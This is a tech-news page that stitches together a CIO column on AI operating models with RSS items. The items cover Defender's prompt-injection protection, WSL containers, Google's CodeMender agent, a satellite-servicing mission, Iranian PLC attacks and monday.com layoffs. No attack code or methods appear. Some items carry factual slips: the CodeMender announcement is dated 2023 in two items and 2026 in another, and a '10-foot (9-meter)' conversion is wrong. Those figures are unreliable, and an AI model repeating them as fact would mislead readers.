<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
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<title><![CDATA[Microsoft Adds Prompt Injection Protection to Defender for Office 365]]></title>
<description><![CDATA[Microsoft has introduced prompt injection protection in Defender for Office 365, representing a significant advancement in securing enterprise email environments against emerging AI-targeted threats. As organizations increasingly adopt AI assistants like Microsoft 365 Copilot to summarize, triage...]]></description>
<link>https://tsecurity.de/de/3688528/it-security-nachrichten/microsoft-adds-prompt-injection-protection-to-defender-for-office-365/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688528/it-security-nachrichten/microsoft-adds-prompt-injection-protection-to-defender-for-office-365/</guid>
<pubDate>Thu, 23 Jul 2026 11:29:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft has introduced prompt injection protection in Defender for Office 365, representing a significant advancement in securing enterprise email environments against emerging AI-targeted threats. As organizations increasingly adopt AI assistants like Microsoft 365 Copilot to summarize, triage, and respond to emails, attackers are shifting their tactics from traditional phishing methods to manipulating AI systems directly. […]</p>
<p>The post <a href="https://gbhackers.com/microsoft-adds-prompt-injection-protection-to-defender/">Microsoft Adds Prompt Injection Protection to Defender for Office 365</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[WSL container: A quiet revolution for Windows development]]></title>
<description><![CDATA[Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has ...]]></description>
<link>https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Running containers on Windows has never been as easy as it should be. While there are versions of <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html" data-type="link" data-id="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker Desktop</a> and <a href="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html" data-type="link" data-id="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html">Podman</a> that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.</p>



<p class="wp-block-paragraph">Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a <a href="https://code.visualstudio.com/docs/remote/vscode-server" data-type="link" data-id="https://code.visualstudio.com/docs/remote/vscode-server">VS Code Server</a> in every container you’re building and testing. If you’re working with <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a>, that’s even more complexity that needs to be managed, dragging you away from code.</p>



<p class="wp-block-paragraph">I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.</p>



<p class="wp-block-paragraph">So, it was good to see Microsoft make several announcements around WSL at <a href="https://news.microsoft.com/build-2026/">Build 2026</a> as part of <a href="https://www.infoworld.com/article/4188967/making-windows-a-developer-platform-again.html">a push to make Windows a developer platform again</a>. The first, an improved WSL3, is still some way away, but the second, <a href="https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/">WSL-native container support</a>, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.</p>



<p class="wp-block-paragraph">Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.</p>



<h2 class="wp-block-heading">Getting started with WSL container</h2>



<p class="wp-block-paragraph">WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter <code>wsl --update --pre-release</code>.</p>



<p class="wp-block-paragraph">This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering <code>wslc</code>, which should <a href="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers" data-type="link" data-id="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers">list the available commands</a>. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).</p>



<p class="wp-block-paragraph">Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.</p>



<h2 class="wp-block-heading">Calling Linux containers from Windows applications</h2>



<p class="wp-block-paragraph">Things get more interesting when you start to use the <a href="https://wsl.dev/api-reference/">WSL container API</a> from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.</p>



<p class="wp-block-paragraph">The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided <a href="https://github.com/microsoft/WSL/tree/master/doc/samples">sample code</a> to show you what’s possible at this early stage.</p>



<p class="wp-block-paragraph">Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.</p>



<p class="wp-block-paragraph">It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.</p>



<h2 class="wp-block-heading">Manage Linux containers from Windows</h2>



<p class="wp-block-paragraph">If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the <a href="https://github.com/mhackermsft/wslcontainerdesktop" data-type="link" data-id="https://github.com/mhackermsft/wslcontainerdesktop">WSL Container Desktop</a>, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the <a href="https://github.com/microsoft/windowsappsdk" data-type="link" data-id="https://github.com/microsoft/windowsappsdk">Windows App SDK</a> installed, and some features require access to the Azure CLI.</p>



<p class="wp-block-paragraph">WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.</p>



<p class="wp-block-paragraph">Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.</p>



<p class="wp-block-paragraph">Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.</p>



<h2 class="wp-block-heading">Run Kubernetes inside Windows for cloud-native development</h2>



<p class="wp-block-paragraph">One of the more useful features of WSL Container Desktop is the ability to quickly stand up a <a href="https://k3s.io/" data-type="link" data-id="https://k3s.io/">K3s</a> Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own <a href="https://www.infoworld.com/article/3964051/headlamp-a-multicluster-kubernetes-user-interface.html">Headlamp UI</a>, making it easy to go between your development environment and a production Kubernetes cluster.</p>



<p class="wp-block-paragraph">It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.</p>



<p class="wp-block-paragraph">The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.</p>
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<title><![CDATA[Google Unveils CodeMender AI Agent for Automated Vulnerability Detection and Remediation]]></title>
<description><![CDATA[Google has unveiled CodeMender, a managed AI security agent designed to identify, validate, and remediate software vulnerabilities at machine speed. Announced in preview on July 22, 2023, the tool is available through the Gemini Enterprise Agent Platform and can also…
Read more →
The post Google ...]]></description>
<link>https://tsecurity.de/de/3688336/it-security-nachrichten/google-unveils-codemender-ai-agent-for-automated-vulnerability-detection-and-remediation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688336/it-security-nachrichten/google-unveils-codemender-ai-agent-for-automated-vulnerability-detection-and-remediation/</guid>
<pubDate>Thu, 23 Jul 2026 10:06:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google has unveiled CodeMender, a managed AI security agent designed to identify, validate, and remediate software vulnerabilities at machine speed. Announced in preview on July 22, 2023, the tool is available through the Gemini Enterprise Agent Platform and can also…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/google-unveils-codemender-ai-agent-for-automated-vulnerability-detection-and-remediation/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/google-unveils-codemender-ai-agent-for-automated-vulnerability-detection-and-remediation/">Google Unveils CodeMender AI Agent for Automated Vulnerability Detection and Remediation</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Google Launches CodeMender AI Agent to Find, Verify, and Patch Software Flaws]]></title>
<description><![CDATA[Google Cloud has moved its CodeMender AI security agent from research preview into a broader enterprise preview, enabling security teams to scan, verify, and automatically remediate software vulnerabilities at machine speed. The launch, announced on July 22, 2026, by Michael Gerstenhaber, VP of P...]]></description>
<link>https://tsecurity.de/de/3688296/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-verify-and-patch-software-flaws/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688296/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-verify-and-patch-software-flaws/</guid>
<pubDate>Thu, 23 Jul 2026 09:42:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google Cloud has moved its CodeMender AI security agent from research preview into a broader enterprise preview, enabling security teams to scan, verify, and automatically remediate software vulnerabilities at machine speed. The launch, announced on July 22, 2026, by Michael Gerstenhaber, VP of Product Management for Gemini Enterprise, and Clemens Viernickel, Director of Product Management […]</p>
<p>The post <a href="https://cyberpress.org/google-launches-codemender-ai-agent-to-find-flaws/">Google Launches CodeMender AI Agent to Find, Verify, and Patch Software Flaws</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Google Unveils CodeMender AI Agent for Automated Vulnerability Detection and Remediation]]></title>
<description><![CDATA[Google has unveiled CodeMender, a managed AI security agent designed to identify, validate, and remediate software vulnerabilities at machine speed. Announced in preview on July 22, 2023, the tool is available through the Gemini Enterprise Agent Platform and can also function as a core component ...]]></description>
<link>https://tsecurity.de/de/3688290/it-security-nachrichten/google-unveils-codemender-ai-agent-for-automated-vulnerability-detection-and-remediation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688290/it-security-nachrichten/google-unveils-codemender-ai-agent-for-automated-vulnerability-detection-and-remediation/</guid>
<pubDate>Thu, 23 Jul 2026 09:42:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google has unveiled CodeMender, a managed AI security agent designed to identify, validate, and remediate software vulnerabilities at machine speed. Announced in preview on July 22, 2023, the tool is available through the Gemini Enterprise Agent Platform and can also function as a core component of Google’s AI Threat Defense offering. This launch comes as […]</p>
<p>The post <a href="https://gbhackers.com/google-unveils-codemender-ai-agent/">Google Unveils CodeMender AI Agent for Automated Vulnerability Detection and Remediation</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Private Mission Launches To Extend Life of Out-of-Gas Communication Satellites]]></title>
<description><![CDATA[Northrop Grumman has launched a private satellite-servicing mission to attach life-extending "jetpacks" to aging communications satellites in geosynchronous orbit. "It's the second satellite-saving mission to launch this month, all part of a growing, money-saving effort to keep spacecraft running...]]></description>
<link>https://tsecurity.de/de/3688235/it-security-nachrichten/private-mission-launches-to-extend-life-of-out-of-gas-communication-satellites/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688235/it-security-nachrichten/private-mission-launches-to-extend-life-of-out-of-gas-communication-satellites/</guid>
<pubDate>Thu, 23 Jul 2026 09:10:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Northrop Grumman has launched a private satellite-servicing mission to attach life-extending "jetpacks" to aging communications satellites in geosynchronous orbit. "It's the second satellite-saving mission to launch this month, all part of a growing, money-saving effort to keep spacecraft running as long as possible," reports Phys.org. From the report: Launched by SpaceX, Northrop Grumman's mission robotic vehicle -- dubbed MRV -- and its jetpacks will spend the next year angling into the proper orbit 22,300 miles (36,000 kilometers) above Earth. Hundreds of satellites orbit at this so-called geosynchronous orbit, where they match the speed of Earth's rotation and keep to the same part of the sky for continuous coverage. Once in place by mid-2027, the minivan-sized spacecraft will use its 10-foot (9-meter) arms to attach a jetpack to an aging communication satellite. Then it will zip off to two more satellites in need.
 
For its debut flight, the spacecraft was accompanied by three electric-propelled jetpacks that peeled away separately following liftoff. Like the MRV, the jetpacks will use their own xenon gas thrusters to get to the desired orbit. Once in place, the jetpacks will wait for the robot to grab them, one at a time, and plug them into their designated satellites. Each jetpack -- the size of a washing machine -- will provide the necessary oomph for an out-of-gas satellite to keep operating for several more years instead of retiring. If it works, it will be a boon for satellite operators SES of Luxembourg and Optus of Australia, saving them millions of dollars in replacement costs.<p></p><div class="share_submission">
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</div><p><a href="https://tech.slashdot.org/story/26/07/23/0534215/private-mission-launches-to-extend-life-of-out-of-gas-communication-satellites?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Iranian Hackers Manipulate SCADA Displays After Breaching U.S. Critical Infrastructure PLCs]]></title>
<description><![CDATA[U.S. federal agencies have issued an urgent warning that Iranian-affiliated threat actors are targeting internet-exposed programmable logic controllers (PLCs) used across critical infrastructure. The activity has disrupted industrial operations by tampering with PLC project files and altering inf...]]></description>
<link>https://tsecurity.de/de/3688176/it-security-nachrichten/iranian-hackers-manipulate-scada-displays-after-breaching-us-critical-infrastructure-plcs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688176/it-security-nachrichten/iranian-hackers-manipulate-scada-displays-after-breaching-us-critical-infrastructure-plcs/</guid>
<pubDate>Thu, 23 Jul 2026 08:54:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>U.S. federal agencies have issued an urgent warning that Iranian-affiliated threat actors are targeting internet-exposed programmable logic controllers (PLCs) used across critical infrastructure. The activity has disrupted industrial operations by tampering with PLC project files and altering information shown to operators through human-machine interface (HMI) and supervisory control and data acquisition (SCADA) systems. The joint […]</p>
<p>The post <a href="https://cyberpress.org/iranian-scada-display-sabotage/">Iranian Hackers Manipulate SCADA Displays After Breaching U.S. Critical Infrastructure PLCs</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[Alright...time to give it a stab ....Sashiko...https://github.com/sashiko-dev/sashiko ...Agentic review of Linux Kernel code changes]]></title>
<description><![CDATA[If you have tried it, I would like to know your opinion. Did you try it locally or use it with external LLMs? How did it withstand your machine state?? Especially on low-powered and low specs like most of us have. (Oh, I am assuming)    submitted by    /u/unixbhaskar   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3687879/linux-tipps/alrighttime-to-give-it-a-stab-sashikohttpsgithubcomsashiko-devsashiko-agentic-review-of-linux-kernel-code-changes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687879/linux-tipps/alrighttime-to-give-it-a-stab-sashikohttpsgithubcomsashiko-devsashiko-agentic-review-of-linux-kernel-code-changes/</guid>
<pubDate>Thu, 23 Jul 2026 04:29:01 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>If you have tried it, I would like to know your opinion. Did you try it locally or use it with external LLMs? How did it withstand your machine state?? Especially on low-powered and low specs like most of us have. (Oh, I am assuming)</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/unixbhaskar"> /u/unixbhaskar </a> <br> <span><a href="https://www.reddit.com/r/linuxadmin/comments/1v3tees/alright_time_to_give_it_a_stab_sashiko/?share_id=Gd1_JCLaQPaeX-f-Y38W6&amp;utm_content=share_button&amp;utm_medium=web3x&amp;utm_name=web3xcss&amp;utm_source=share&amp;utm_term=1">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v3tjmd/alrighttime_to_give_it_a_stab/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3687832/it-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687832/it-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Thu, 23 Jul 2026 03:02:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday.com’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



